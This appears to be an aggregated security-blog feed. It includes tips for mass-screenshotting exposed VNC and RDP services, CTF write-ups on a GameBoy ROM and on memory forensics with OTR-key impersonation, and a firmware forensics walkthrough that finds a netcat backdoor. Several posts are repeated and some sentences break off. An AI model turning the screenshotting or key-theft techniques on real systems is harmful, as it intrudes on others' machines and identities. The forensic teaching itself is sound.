cutycapt --url="http://127.0.0.1:6080/vnc_auto.html" --javascript=on --out=vnc.png --delay=3000
4 - Profit!!!
Now all you have to do is masscan the target for ports 5900-5910 (used by VNC), save the results on a text file and create a simple script to take the screenshots. You can also try vncsnapshot, used by @paulm during his Toorcon 2013 talk.
RDP
My tool of choice for taking snapshots of RDP services is Spark View. There's an HTML5 version for the tool available here and the process is quite similar to the VNC one:
1 - Download and install Spark View for Windows or Linux. Follow the procedure from the Admin Manual, install J2SE JDK, set the JAVA_HOME environment variable, extract, configure and compile the utils from commons-daemon-native.tar.gz. On Debian derivatives, you may need to edit SparkGateway.sh and change the source function library to "/lib/lsb/init-functions".
2 - Start the service (./SparkGateway.sh start) and test it by accessing your local IP on port 80. Remote Spark provides a live demo for their solution here.
3 - Specify the RDP server settings on the querystring and take a webpage screenshot using a command line tool. I'm going to use phantomjs + url-to-image.js for this example:
phantomjs url-to-image.js "http://127.0.0.1/rdpdirect.html?gateway=127.0.0.1&server=192.168.1.189&width=800&height=600&color=16" rdp.png 800 600
4 - Profit!!!
Some commercial tools like Nessus also connects to RDP services and captures screenshots. Taking screenshots from RDP services is very useful to fingerprint operating systems and to map/identify domains and users on the network. I always output these images to OCR tools like tesseract and gocr in order to generate wordlists and compile other useful data:
![]() |
RDP screenshot |
![]() |
gocr output |
![]() |
tesseract output |
HTTP
There's nothing much to be said about Web Services screenshots. There are lots of posts covering this topic and lots of different tools, including an Nmap plugin. Some references:
- Using Nmap to Screenshot Web Service (http-screenshot.nse)
- PaulDotCom Security Weekly 295 - Tech Segment
- EyeWitness - A Web Application Triage and Info-Gathering Tool
Conclusion
I find these tips very useful to get a better view of network services. Now that reporters are getting a pretty good idea from the attackers perspective, you have no excuse to leave your curtains exposed to the Internet without a VNC password. It's also important to practice safe computing, changing default passwords and enabling Network Level Authentication for RDP services.
↧
Hack.lu 2014 CTF Write Up: At Gunpoint
Hack.lu's 2014 CTF took place on October 21-23. The event was organized by fluxfingers, and this year's challenges were really enjoyable, huge props to them. I played with my friends from TheGoonies - after winning the Brazilian CTF Pwn2Win we are now getting better organized to become more competitive. There are quite a few write ups around and I decided to post about a few tasks which we had a different solution from other teams.
Task: At Gunpoint (Reversing - 200)
Download provided: gunpoint_2daf5fe3fb236b398ff9e5705a058a7f.dat
File utility showed us that it was a GameBoy ROM. Having former Console Hackers on the team came handy during this challenge as we already knew in advance which tools to use and what to look for.
We usedTLayerTileMolester from the legendary SnowBro to gather information about the graphics and the font data. Firstly, we switched the Codec to 1bpp and found the font used by the game.
We were about to create a character table when, after switching the Codec to 2bpp planar (GameBoy's native Codec), we found something interesting:
After some offset adjustment (using +, -, Shift + left and Shift + right) we got this image:
We submitted the key "tkCXDtheQDNRN", but it wasn't accepted. I wanted to confirm that those tiles were disposed in a linear way, so I kept analyzing the ROM.
The GameBoy's screen has a resolution of 20x18 tiles. In order to check if the order of the tiles (and the flag) was correct, I performed a relative search using Darkl0rd's Monkey-Moore:
Let's imagine a grid containing the tiles for the key "tkCXDtheQDNRN" sequentially. Considering the first tile as an A, the second one would be B, the third one C and so on. After 20 bytes (the screen width) there should be something like a line break: that's why I performed a relative search for ABCDEFGHIJKLMNOPQRST*UVWXYZ.
If we go to the ROM's offset 0x0965 using an Hex Editor, we find out that this is indeed the section responsible for displaying the tiles:
Let's compare it with the emulator's BGMAP when displaying the key:
I'm not sure if this was intentional, but there's something strange on this key display screen. The first tile for the char "t" (0x15) is followed by the first tile from "k" (0x16), which is followed by the first tile from "C" (0x17) until we reach the "N" (0x28). There's a break at offset 0x0979 (0x00) and the second half for these tiles (0x29 0x30 0x31 ... 0x3C) ends with a 0x3D instead of the usual 0x00. We can see this clearly on the screenshot above, as the tile highlighted by the mouse pointer (0x3D) is off the limits.
Anyway, we apparently had the correct flag but we took some time to figure out that the 6th letter was a "J" and not a "t". One member from our team figured that out and submitted the correct key "tkCXDJheQDNRN".
There are other solutions to this challenge, like this one from Tastless. I'm still waiting for a write up from someone who actually reversed and inputted the secret combination. Anyway, none of them are going to be as elegant as the one from @angealbertini:
Task: At Gunpoint (Reversing - 200)
You're the sheriff of a small town, investigating news about a gangster squad passing by. Rumor has it they're easy to outsmart, so you have just followed one to their encampment by the river. You know you can easily take them out one by one, if you would just know their secret handshake.
Download provided: gunpoint_2daf5fe3fb236b398ff9e5705a058a7f.dat
File utility showed us that it was a GameBoy ROM. Having former Console Hackers on the team came handy during this challenge as we already knew in advance which tools to use and what to look for.
We used
We were about to create a character table when, after switching the Codec to 2bpp planar (GameBoy's native Codec), we found something interesting:
After some offset adjustment (using +, -, Shift + left and Shift + right) we got this image:
We submitted the key "tkCXDtheQDNRN", but it wasn't accepted. I wanted to confirm that those tiles were disposed in a linear way, so I kept analyzing the ROM.
The GameBoy's screen has a resolution of 20x18 tiles. In order to check if the order of the tiles (and the flag) was correct, I performed a relative search using Darkl0rd's Monkey-Moore:
If we go to the ROM's offset 0x0965 using an Hex Editor, we find out that this is indeed the section responsible for displaying the tiles:
Let's compare it with the emulator's BGMAP when displaying the key:
I'm not sure if this was intentional, but there's something strange on this key display screen. The first tile for the char "t" (0x15) is followed by the first tile from "k" (0x16), which is followed by the first tile from "C" (0x17) until we reach the "N" (0x28). There's a break at offset 0x0979 (0x00) and the second half for these tiles (0x29 0x30 0x31 ... 0x3C) ends with a 0x3D instead of the usual 0x00. We can see this clearly on the screenshot above, as the tile highlighted by the mouse pointer (0x3D) is off the limits.
Anyway, we apparently had the correct flag but we took some time to figure out that the 6th letter was a "J" and not a "t". One member from our team figured that out and submitted the correct key "tkCXDJheQDNRN".
↧
9447 2014 CTF Write Up: coor coor
The Australian 9447 Security Society CTF took place on November 29-30 and it was yet another fun and really professionally organized CTF. I played with my friends from TheGoonies once again (The Goonies 'R' Good Enough, right?).
I found the task "coor coor" particularly interesting: it was a good way to practice some concepts from the new book I recently bought: The Art of Memory Forensics (authored by @attrc and @gleeda).
Task: coor coor (misc - 400)
A 9447 CTF organizer is giving away flags to friends that he trusts. This memory dump was taken off a competitor's computer after a raid by the pwnpolice.
Download provided: https://s3-us-west-2.amazonaws.com/elasticbeanstalk-us-west-2-467703568171/challenges/coorcoor.tar.bz2
Let's start by identifying the Operating System profile:
python vol.py -f challenge.vmem imageinfo
Let's take screenshot to see what the user was doing:
python vol.py -f challenge.vmem screenshot -D screenshot/
The user was running something inside VirtualBox, let's keep digging:
python vol.py -f challenge.vmem psxview
python vol.py -f challenge.vmem filescan | grep -e "\.tc\|TrueCrypt"
python vol.py -f challenge.vmem connscan
The host 54.149.24.114 (yodawg.9447.plumbing) happened to be an IRC server with only one active channel: #9447ctf. We can carve some pidgin logs using foremost:
python vol.py -f challenge.vmem mftparser | grep 9447ctf
foremost challenge.vmem
Private conversations are not logged by default on Pidgin with the OTR extension. We can see a couple of OTR encrypted messages on the memory dump:
Because of Perfect Forward Secrecy, if you lose control of your private keys, no previous conversation is compromised. I just had the long term signature keys (otr.private_key) and these aren't actually used to encrypt conversations, just to sign the session encryption key. I still needed to retrieve the short term encryption keys from the memory. I got stuck on this phase and spent the whole night trying to figure how to do that.
After some time I decided to get some sleep and keep trying it on the following day. The first thing I did the next day was to re-read the challenge description and I quickly figured it out:
"A 9447 CTF organizer is giving away flags to friends that he trusts."Because of the way IRC works, I could easily impersonate testicool69 (the trusted frind), connect to the IRC server (yodawg.9447.plumbing:6667) and message acidburn88 (the CTF Admin) asking for the key. So how do I do that?
Pidgin-OTR creates three files during an encrypted communication: otr.private_key, otr.instance_tags and otr.fingerprints. I searched for the term "prpl-irc" on the memory dump, extracted and replaced those files on my own Pidgin installation (%APPDATA%\.purple). There's a Metasploit post-module to retrieve these keys from a live (hacked) system, by the way...
I managed to forge his fingerprint using the stolen private key and got the secret Flag:
9447{forensics_champ!}
↧
Firmware Forensics: Diffs, Timelines, ELFs and Backdoors
This post covers some common techniques that I use to analyze and reverse firmware images. These techniques are particularly useful to dissect malicious firmwares, spot backdoors and detect unwanted modifications.
Backdooring and re-flashing firmware images is becoming mainstream: malicious guys are infecting embedded devices and inserting trojans in order to achieve persistence. Recent articles covered the increasing number of trojanized android firmwares and routers that are being permanently modified.
Attackers with a privileged network position may MITM your requests and forge fake updates containing malicious firmwares. Writing Evilgrade modules for this is really simple, as most vendors keep failing to deliver updates securely, right ASUS?
Older versions of ASUS firmwares were vulnerable to MITM attacks (CVE-2014-2718) because it transmitted updates over HTTP and there were no security/signature checks. ASUS silently patched the issue on 3.0.0.4.376+ and they're now verifying RSA signatures via /sbin/rsasign_check.:
NoConName 2014 CTF Finals: Vodka
I'll keep my tradition of writing posts based on CTF challenges becauseeverybody upvotes CTF posts on reddit it's cool.
The challenge "Vodka", from NoConName 2014 CTF Finals was created by @MarioVilas, who kindly provided the files here (thanks dude!).
I did not participate on the CTF finals, but I found the challenge really interesting because there were many different ways to solve it, summarizing the actions needed to audit a compromised firmware. In my opinion, the best CTF challenges are the ones that require us to develop/use new techniques and improve existing tools.
NoConName 2014 Finals: Vodka
Challenge Category: Forensics
Description: No hints :( just get the flag.
This challenge description is not very intriguing, so I hired a couple of marketing specialists todesign a new logo add some Infosec drama and reformulate it:
Download provided: https://github.com/MarioVilas/write-ups/blob/master/ncn-ctf-2014/Vodka/vodka
Network Forensics
The download provided is a packet capture using the PCAP-NG format. Wireshark is too mainstream, so let's convert the PCAP-NG to PCAP and open it using Network Miner:
Network Miner makes it very easy for us to understand what's going on: there's some sort of file transfer via TFTP and the filename seems to be related to an OpenWRT firmware image.
Firmware structure
We always binwalk all the things but very few people stop to analyze and understand the firmware structure properly. We know that the firmware image was downloaded using TFTP, a common way used by many routers to transfer config files/updates and it is probably based on the OpenWRT project.
So what does binwalk tell us?
The Commom Firmware Environment (CFE) is a firmware interface/bootloader present on Broadcom SOCs. It is analogous to the BIOS on PC platforms and it is responsible for CPU initialization and bootstrap code on embedded processors. The CFE is also referred as PMON and it is generally mapped to mtd0.
The JFFS2/NVRAM filesystem is the non-volatile partition. They store all the configuration parameters, including router settings, passwords and logs.
Bear in mind firmware updates generally do not include the CFE/NVRAM partition. You can access the CFE console using serial and you can also dump them on a live system using DD or via SPI. Let's focus on the firmware sections included on the provided image (openwrt-wrtsl54gs-squasfs.bin):
TRX (Offset 0x20)
The TRX header is just an encapsulation, describing a series of information from the firmware, including the image size, CRC, flags, version information and partition offsets. Binwalk wasn't recognizing the header and the relative offsets properly so I submitted these two pull requests. Creating custom signatures for binwalk is pretty straightforward.
Some firmwares (like the newer ones from ASUS and Netgear) use this TRX structure but don't include a loader: the Linux Kernel and the RootFS may be shifted on this occasion.
If the firmware includes any extra header before the TRX, you have to sum their size with the displayed partition offsets in order to find the real values. Some firmwares for SOHO modems out there won't include it, so these values should be right on most cases. The downloaded OpenWRT image had the following offsets:
In this specific case, we have a BinHeader right before the TRX, indicating the board ID, the FW Date and the Hardware Date. The struct is described on cyutils.h:
This extra header appears on a few routers like the WRT54G series: the Web GUI checks for this pattern before actually writing the firmware.
![]()
We are particularly interested on the fwdate field (Firmware Date), composed by the hex values 07 02 03. According to addpattern.c, the first byte defines the year, the second one is the month and the third byte refers to the day the firmware was created. The fwdate seems to be 03-February-2007, save that for later, we will need that =)
GZ'd LZMA Loader (Offset 0x3C)
According to OpenWRT Wiki, the boot loader has no concept of filesystems: it assumes that the start of the TRX data section is executable code.
The boot loader boots into an LZMA program which decompresses the kernel into RAM and executes it. It turns out the boot loader does know gzip compression, so we have a gzip-compressed LZMA decompression program at 0x3C.
You can find the source code for this lzma-loader here and here. Note the TEXT_START offset at 0x80001000: we may need to adjust the Loading Address on our Disassembler in order to reverse the compiled loader. Don't forget to decompress it (gunzip) before reversing the file.
Most embedded toolchains would strip the binaries in order to reduce the firmware size. If you want to reverse a friendlier version of the loader, grab the latest OpenWRT ImageBuilder and search for loader.elf:
Note that if we modify the loader to include a backdoor, we would have our very own Router Bootkit, cool isn't it?
LZMA'd Kernel (Offset 0x8F8)
Instead of just putting a kernel directly onto flash, most embedded devices compress the kernel using LZMA. The boot loader boots into an LZMA program which decompresses the kernel into RAM and executes it.
Binwalk has a signature to find Kernel strings in raw Linux Kernels. The identified string lists the toolchain used to compile the Kernel, as well as the compiled date and version information:
And why did binwalk manage to find all these information from the Kernel? The answer can be found on the toolchain's Makefile:
If we follow the steps from my previous post we can build a customized Kernel for OpenWRT. The generated vmlinux is generally an ELF file, but in our case, the object was stripped using objcopy:
Did you notice the compile date was 03-February-2007? Let's save that for later as well.
SquashFS (Offset 0x72420)
The last part is the actual filesystem. Most embedded Linux devices use SquashFS and many vendors hack it in order to get better compression and faster performance. Hopefully we don't have to worry about that as Sasquatch handles different SquashFS header/compression formats.
The filesystem has the standard OpenWRT directories and files, including a banner from the 0.9 build (White Russian).
Both binwalk and sasquatch display the SquashFS superblock information, including the creation/last append time:
Did you spot the date 29-October-2014? There's definitely something going on here =)
Directory Tree Diff & Fuzzy Hashing
Now that we have unpacked & unsquashed the firmware, let's use binwally to compare the directory tree and find the needle in the haystack.
After googling the filename (openwrt-wrtsl54gs-squashfs.bin), we get three possible candidates:
- https://downloads.openwrt.org/whiterussian/0.9/default/openwrt-wrtsl54gs-squashfs.bin
- https://downloads.openwrt.org/whiterussian/0.9/micro/openwrt-wrtsl54gs-squashfs.bin
- https://downloads.openwrt.org/whiterussian/0.9/pptp/openwrt-wrtsl54gs-squashfs.bin
OpenWRT offers different builds for the same device because of constraints like limited flash size. Let's download these three candidates, unpack and compare them:
The "micro" build has the highest overall match score (99%), let's spot the differences:
After carefully reviewing these files, we notice that the "/etc/profile" was modified to include a call to the nc backdoor.
The LZMA'd Kernel (offset 0x8F8) is the same on both images, even though binwally reports a difference. This happens because binwalk extraction doesn't know when to stop and both files also contain additional data like the SquashFS partition.
The backdoor located at "/bin/nc" is a simple bash script that checks the MD5 from "/etc/profile" and draws a Nyan Cat along with the challenge key. In order to get the proper key, we simply modify the file location to the relative path "./etc/banner", to avoid overlapping with the file from the original system.
After running the file, we get the key NCNdeadb6adec4c77a40c23e04770924d3c5b18face.
This was just too easy right? But what if we didn't have a known template for comparison?
Timeline Analysis
My tool of choice to perform timeline analysis is Plaso, created by @el_killerdwarf. The tool is python-based, modular and very fast. What I like most about it is the ease to output results to ELK. If you don't know about Plaso and the ELK stack, read this quick tutorial and set up your environment.
Let's use log2timeline to create a dump file, pointing to the extracted SquashFS path:
Let's fire up psort and include data in the timeline:
That's all, Plaso uses the filestat parser to extract metadata from the files, outputting results to Elasticsearch.
We already identified the following dates from the firmware:
First let's filter the filesystem attributes: we just want to display the mtime (modified) timestamp, so we are going to perform a micro analysis to include the value. The filter should be something like this: field must | field timestamp_desc | query: "mtime".
The histogram view is very helpful to get a big picture of what's going on:
We can clearly see that the files included/modified on 2014-10-29 had a malicious nature. Thestate sponsored attacker did not modify other files from the OpenWRT base image.
At this point it is pretty clear that the firmware was modified using the OpenWRT Image Builder, which is a pre-compiled OpenWrt build environment. The BinHeader and the Kernel timestamps were left untouched and the only partition modified was the SquashFS one.
Of course these timestamps, like any kind of metadata, could be tampered by the malicious hacker. However, they are very helpful during the initial phases, speeding up investigations and narrowing the analysis to a smaller set of data.
ELF Structural Information
I always get impressed when AV vendors manage to profile APT and State-sponsored attackers based on PE timestamps. Techniques like the imphash are generally used exclusively on Windows.
PE Imports are the functions that a piece of software calls from other files (typically DLLs). To track these imports, a hash is created based on library/API names and their specific order within the executable. Because of the way a PE’s import table is generated, we can use the imphash value to identify related malware samples, for example.
Everybody does that for Windows binaries but what about Linux? Virustotal recently included detailed ELF information on their engine. We can also use these sections to identify useful information from the binaries, including the toolchain used to compile them.
We generally don't have any timestamp information on the ELF section, but there are many other interesting fields. This quick guide on using strip summarizes some topics:
I always try to display information from object files using different toolchains in order to find out which one understands the file structure properly. On this specific case, I'm going to use mipsel-linux-gnu-readelf (part of Emdebian toolchain), but the regular readelf also does the job.
Just a few ELF files included the comment section, others got stripped during the compilation/linking phase. If we download OpenWRT 0.9 sources we can see that GCC 3.4.4 was indeed used:
TheMoon Worm exploited a command injection to infect Linksys wireless routers with a self-replicating malware. If we analyze its .comment section, we can see that it was probably compiled and linked using GCC 4.2.4 and 3.3.2. If we search for a .comment section on the router E4200, targeted by the worm, we can't find any reference because the toolchain stripped all of them. Having a file compiled with a different toolchain or containing extra ELF sections (that others files don't) is something highly suspicious.
The .comment section for the final executable includes the contents of the .comment section of each object file that was linked into the executable. If we compare the comment section on ASUS RT-AC87U Firmwares v3.0.0.4.378.3885 and v3.0.0.4.376.2769, we can spot an extra line on the newer version from tfat.ko:
If you want to dump all sections from the ELF file you may use this command line (kind of hacky, but works):
The output will be a bit too verbose, you may want to narrow the analysis to the following sections:
For more information regarding the ELF file structure, check the ELF man and the Chapter 5 from Malware Forensics Field Guide for Linux Systems.
Conclusion
Without further clues or context these information may not be relevant, but in conjunction with other data they're helpful to get a big picture of what's going on:
We can use the timestamps from the kernel partition to correlate different firmwares from the same family, for example. We can also compare the timestamps from each partition to find deviations: a firmware header created on 2007, with a Kernel timestamp from 2007 and a SquashFS partition dated to 2014 is highly suspicious.
The Firmware.RE project is performing a large scale analysis, providing a better understanding of the security issues related to firmwares. A broader view on firmwares is not only beneficial, but necessary to discover new vulnerabilities and backdoors, correlating different device families and showing how vulnerabilities reappear across different products. This is a really cool project to track how firmwares are evolving and getting security fixes.
Backdooring and re-flashing firmware images is becoming mainstream: malicious guys are infecting embedded devices and inserting trojans in order to achieve persistence. Recent articles covered the increasing number of trojanized android firmwares and routers that are being permanently modified.
Attackers with a privileged network position may MITM your requests and forge fake updates containing malicious firmwares. Writing Evilgrade modules for this is really simple, as most vendors keep failing to deliver updates securely, right ASUS?
All your HTTP packets are belong to us... |
![]() |
Valid signature -> nvram_set("rsasign_check", "1") |
NoConName 2014 CTF Finals: Vodka
I'll keep my tradition of writing posts based on CTF challenges because
The challenge "Vodka", from NoConName 2014 CTF Finals was created by @MarioVilas, who kindly provided the files here (thanks dude!).
I did not participate on the CTF finals, but I found the challenge really interesting because there were many different ways to solve it, summarizing the actions needed to audit a compromised firmware. In my opinion, the best CTF challenges are the ones that require us to develop/use new techniques and improve existing tools.
NoConName 2014 Finals: Vodka
Challenge Category: Forensics
Description: No hints :( just get the flag.
This challenge description is not very intriguing, so I hired a couple of marketing specialists to
A mysterious bug affected one of the core routers at a major Internet service provider in Syria. The failure of this router caused the whole country to suddenly lose all connection to the Internet. The Syrian government recorded a traffic capture right before the crash and hired you to perform a forensic analysis.
Download provided: https://github.com/MarioVilas/write-ups/blob/master/ncn-ctf-2014/Vodka/vodka
Network Forensics
The download provided is a packet capture using the PCAP-NG format. Wireshark is too mainstream, so let's convert the PCAP-NG to PCAP and open it using Network Miner:
Firmware structure
We always binwalk all the things but very few people stop to analyze and understand the firmware structure properly. We know that the firmware image was downloaded using TFTP, a common way used by many routers to transfer config files/updates and it is probably based on the OpenWRT project.
So what does binwalk tell us?
The Commom Firmware Environment (CFE) is a firmware interface/bootloader present on Broadcom SOCs. It is analogous to the BIOS on PC platforms and it is responsible for CPU initialization and bootstrap code on embedded processors. The CFE is also referred as PMON and it is generally mapped to mtd0.
The JFFS2/NVRAM filesystem is the non-volatile partition. They store all the configuration parameters, including router settings, passwords and logs.
Bear in mind firmware updates generally do not include the CFE/NVRAM partition. You can access the CFE console using serial and you can also dump them on a live system using DD or via SPI. Let's focus on the firmware sections included on the provided image (openwrt-wrtsl54gs-squasfs.bin):
TRX (Offset 0x20)
The TRX header is just an encapsulation, describing a series of information from the firmware, including the image size, CRC, flags, version information and partition offsets. Binwalk wasn't recognizing the header and the relative offsets properly so I submitted these two pull requests. Creating custom signatures for binwalk is pretty straightforward.
If the firmware includes any extra header before the TRX, you have to sum their size with the displayed partition offsets in order to find the real values. Some firmwares for SOHO modems out there won't include it, so these values should be right on most cases. The downloaded OpenWRT image had the following offsets:
- Loader: 0x20 + 0x1C = 0x3C
- Kernel: 0x20 + 0x8D8 = 0x8F8
- RootFS: 0x20 + 0x7E400 = 0x7E420
In this specific case, we have a BinHeader right before the TRX, indicating the board ID, the FW Date and the Hardware Date. The struct is described on cyutils.h:
This extra header appears on a few routers like the WRT54G series: the Web GUI checks for this pattern before actually writing the firmware.
We are particularly interested on the fwdate field (Firmware Date), composed by the hex values 07 02 03. According to addpattern.c, the first byte defines the year, the second one is the month and the third byte refers to the day the firmware was created. The fwdate seems to be 03-February-2007, save that for later, we will need that =)
GZ'd LZMA Loader (Offset 0x3C)
According to OpenWRT Wiki, the boot loader has no concept of filesystems: it assumes that the start of the TRX data section is executable code.
The boot loader boots into an LZMA program which decompresses the kernel into RAM and executes it. It turns out the boot loader does know gzip compression, so we have a gzip-compressed LZMA decompression program at 0x3C.
You can find the source code for this lzma-loader here and here. Note the TEXT_START offset at 0x80001000: we may need to adjust the Loading Address on our Disassembler in order to reverse the compiled loader. Don't forget to decompress it (gunzip) before reversing the file.
Most embedded toolchains would strip the binaries in order to reduce the firmware size. If you want to reverse a friendlier version of the loader, grab the latest OpenWRT ImageBuilder and search for loader.elf:
Woohoo, blue code =) |
Note that if we modify the loader to include a backdoor, we would have our very own Router Bootkit, cool isn't it?
LZMA'd Kernel (Offset 0x8F8)
Instead of just putting a kernel directly onto flash, most embedded devices compress the kernel using LZMA. The boot loader boots into an LZMA program which decompresses the kernel into RAM and executes it.
Binwalk has a signature to find Kernel strings in raw Linux Kernels. The identified string lists the toolchain used to compile the Kernel, as well as the compiled date and version information:
And why did binwalk manage to find all these information from the Kernel? The answer can be found on the toolchain's Makefile:
If we follow the steps from my previous post we can build a customized Kernel for OpenWRT. The generated vmlinux is generally an ELF file, but in our case, the object was stripped using objcopy:
Did you notice the compile date was 03-February-2007? Let's save that for later as well.
SquashFS (Offset 0x72420)
The last part is the actual filesystem. Most embedded Linux devices use SquashFS and many vendors hack it in order to get better compression and faster performance. Hopefully we don't have to worry about that as Sasquatch handles different SquashFS header/compression formats.
The filesystem has the standard OpenWRT directories and files, including a banner from the 0.9 build (White Russian).
Both binwalk and sasquatch display the SquashFS superblock information, including the creation/last append time:
Did you spot the date 29-October-2014? There's definitely something going on here =)
Directory Tree Diff & Fuzzy Hashing
Now that we have unpacked & unsquashed the firmware, let's use binwally to compare the directory tree and find the needle in the haystack.
After googling the filename (openwrt-wrtsl54gs-squashfs.bin), we get three possible candidates:
- https://downloads.openwrt.org/whiterussian/0.9/default/openwrt-wrtsl54gs-squashfs.bin
- https://downloads.openwrt.org/whiterussian/0.9/micro/openwrt-wrtsl54gs-squashfs.bin
- https://downloads.openwrt.org/whiterussian/0.9/pptp/openwrt-wrtsl54gs-squashfs.bin
OpenWRT offers different builds for the same device because of constraints like limited flash size. Let's download these three candidates, unpack and compare them:
binwally.py ctf/_openwrt-wrtsl54gs-squashfs.bin.extracted/ micro/_openwrt-wrtsl54gs-squashfs.bin.extracted/
The "micro" build has the highest overall match score (99%), let's spot the differences:
binwally.py ctf/_openwrt-wrtsl54gs-squashfs.bin.extracted/ micro/_openwrt-wrtsl54gs-squashfs.bin.extracted/ | grep -E -v "ignored|matches"
After carefully reviewing these files, we notice that the "/etc/profile" was modified to include a call to the nc backdoor.
The LZMA'd Kernel (offset 0x8F8) is the same on both images, even though binwally reports a difference. This happens because binwalk extraction doesn't know when to stop and both files also contain additional data like the SquashFS partition.
The backdoor located at "/bin/nc" is a simple bash script that checks the MD5 from "/etc/profile" and draws a Nyan Cat along with the challenge key. In order to get the proper key, we simply modify the file location to the relative path "./etc/banner", to avoid overlapping with the file from the original system.
After running the file, we get the key NCNdeadb6adec4c77a40c23e04770924d3c5b18face.
Timeline Analysis
My tool of choice to perform timeline analysis is Plaso, created by @el_killerdwarf. The tool is python-based, modular and very fast. What I like most about it is the ease to output results to ELK. If you don't know about Plaso and the ELK stack, read this quick tutorial and set up your environment.
Let's use log2timeline to create a dump file, pointing to the extracted SquashFS path:
log2timeline.py output.dump squashfs-root/
Let's fire up psort and include data in the timeline:
psort.py -o elastic output.dump
That's all, Plaso uses the filestat parser to extract metadata from the files, outputting results to Elasticsearch.
We already identified the following dates from the firmware:
- 03 February 2007 (??:??:??): BinHeader firmware creation date
- 03 February 2007 (13:16:08): Linux Kernel compile date
- 29 October 2014 (16:53:25): SquashFS creation or last append time
First let's filter the filesystem attributes: we just want to display the mtime (modified) timestamp, so we are going to perform a micro analysis to include the value. The filter should be something like this: field must | field timestamp_desc | query: "mtime".
The histogram view is very helpful to get a big picture of what's going on:
We can clearly see that the files included/modified on 2014-10-29 had a malicious nature. The
At this point it is pretty clear that the firmware was modified using the OpenWRT Image Builder, which is a pre-compiled OpenWrt build environment. The BinHeader and the Kernel timestamps were left untouched and the only partition modified was the SquashFS one.
Of course these timestamps, like any kind of metadata, could be tampered by the malicious hacker. However, they are very helpful during the initial phases, speeding up investigations and narrowing the analysis to a smaller set of data.
ELF Structural Information
I always get impressed when AV vendors manage to profile APT and State-sponsored attackers based on PE timestamps. Techniques like the imphash are generally used exclusively on Windows.
PE Imports are the functions that a piece of software calls from other files (typically DLLs). To track these imports, a hash is created based on library/API names and their specific order within the executable. Because of the way a PE’s import table is generated, we can use the imphash value to identify related malware samples, for example.
Everybody does that for Windows binaries but what about Linux? Virustotal recently included detailed ELF information on their engine. We can also use these sections to identify useful information from the binaries, including the toolchain used to compile them.
We generally don't have any timestamp information on the ELF section, but there are many other interesting fields. This quick guide on using strip summarizes some topics:
When an executable is produced from source code, there are two stages - compilation and linking. Compiling takes a source file and produces an object file. Linking concatenates these object files into a single executable. The concatenation occurs by section. For example, the .comment section for the final executable will contain the contents of the .comment section of each object file that was linked into the executable.
If we examine the contents of the .comment section we can see the compiler used, plus the version of the compilerIt's pretty simple to read and parse the .comment sections from ELF files. GNU readelf (part of binutils) and pyelftools include all the necessary functions parse them.
I always try to display information from object files using different toolchains in order to find out which one understands the file structure properly. On this specific case, I'm going to use mipsel-linux-gnu-readelf (part of Emdebian toolchain), but the regular readelf also does the job.
for i in $(find .) ; do echo $i ; mipsel-linux-gnu-readelf -p .comment $i ; done > comment-section.txt
./lib/modules/2.4.30/diag.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
./lib/modules/2.4.30/switch-adm.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
./lib/modules/2.4.30/switch-robo.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
./lib/modules/2.4.30/switch-core.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
./lib/modules/2.4.30/wlcompat.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
./lib/modules/2.4.30/switch-adm.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
./lib/modules/2.4.30/switch-robo.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
./lib/modules/2.4.30/switch-core.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
./lib/modules/2.4.30/wlcompat.o
String dump of section '.comment':
[ 1] GCC: (GNU) 3.4.4 (OpenWrt-1.0)
Just a few ELF files included the comment section, others got stripped during the compilation/linking phase. If we download OpenWRT 0.9 sources we can see that GCC 3.4.4 was indeed used:
TheMoon Worm exploited a command injection to infect Linksys wireless routers with a self-replicating malware. If we analyze its .comment section, we can see that it was probably compiled and linked using GCC 4.2.4 and 3.3.2. If we search for a .comment section on the router E4200, targeted by the worm, we can't find any reference because the toolchain stripped all of them. Having a file compiled with a different toolchain or containing extra ELF sections (that others files don't) is something highly suspicious.
The .comment section for the final executable includes the contents of the .comment section of each object file that was linked into the executable. If we compare the comment section on ASUS RT-AC87U Firmwares v3.0.0.4.378.3885 and v3.0.0.4.376.2769, we can spot an extra line on the newer version from tfat.ko:
If you want to dump all sections from the ELF file you may use this command line (kind of hacky, but works):
for i in $(find .) ; do echo "$i" ; for j in $(readelf -S "$i" | grep \\[ | cut -d"]" -f2 | cut -d "" -f2 | grep -v "Name") ; do mipsel-linux-gnu-readelf -p "$j""$i" ; done ; done > list.txt
The output will be a bit too verbose, you may want to narrow the analysis to the following sections:
- .comment - contains version control information
- .modinfo - displays information from a kernel module
- .notes - comments put there by the compiler/linker toolchain
- .debug - contains information for symbol debugging
- .interp - contains the name of the dynamic loader
For more information regarding the ELF file structure, check the ELF man and the Chapter 5 from Malware Forensics Field Guide for Linux Systems.
Conclusion
Without further clues or context these information may not be relevant, but in conjunction with other data they're helpful to get a big picture of what's going on:
- Diffing the content from previous firmwares may be useful to find out when backdoors were first installed, modified and/or removed.
- Artifact timeline creation and analysis also helps to speed up investigations by correlating the vast amount of information found on system.
- The contents from the ELF section will likely reveal the toolchain and the compiler version used to compile a suspect executable. Clues such as this are attribution identifiers, contributing towards identifying the platform used by the attacker to craft his code.
We can use the timestamps from the kernel partition to correlate different firmwares from the same family, for example. We can also compare the timestamps from each partition to find deviations: a firmware header created on 2007, with a Kernel timestamp from 2007 and a SquashFS partition dated to 2014 is highly suspicious.
The Firmware.RE project is performing a large scale analysis, providing a better understanding of the security issues related to firmwares. A broader view on firmwares is not only beneficial, but necessary to discover new vulnerabilities and backdoors, correlating different device families and showing how vulnerabilities reappear across different products. This is a really cool project to track how firmwares are evolving and getting security fixes.
↧
↧
Extracting RAW pictures from memory dumps
Introduction
Earlier today, while reading my Twitter timeline, I saw some Infosec folks discussing about scripts/tools to identify RAW pictures in memory dumps. I decided, then, to write this blog post and share a small hack that I use to visualize data (including memory dumps).
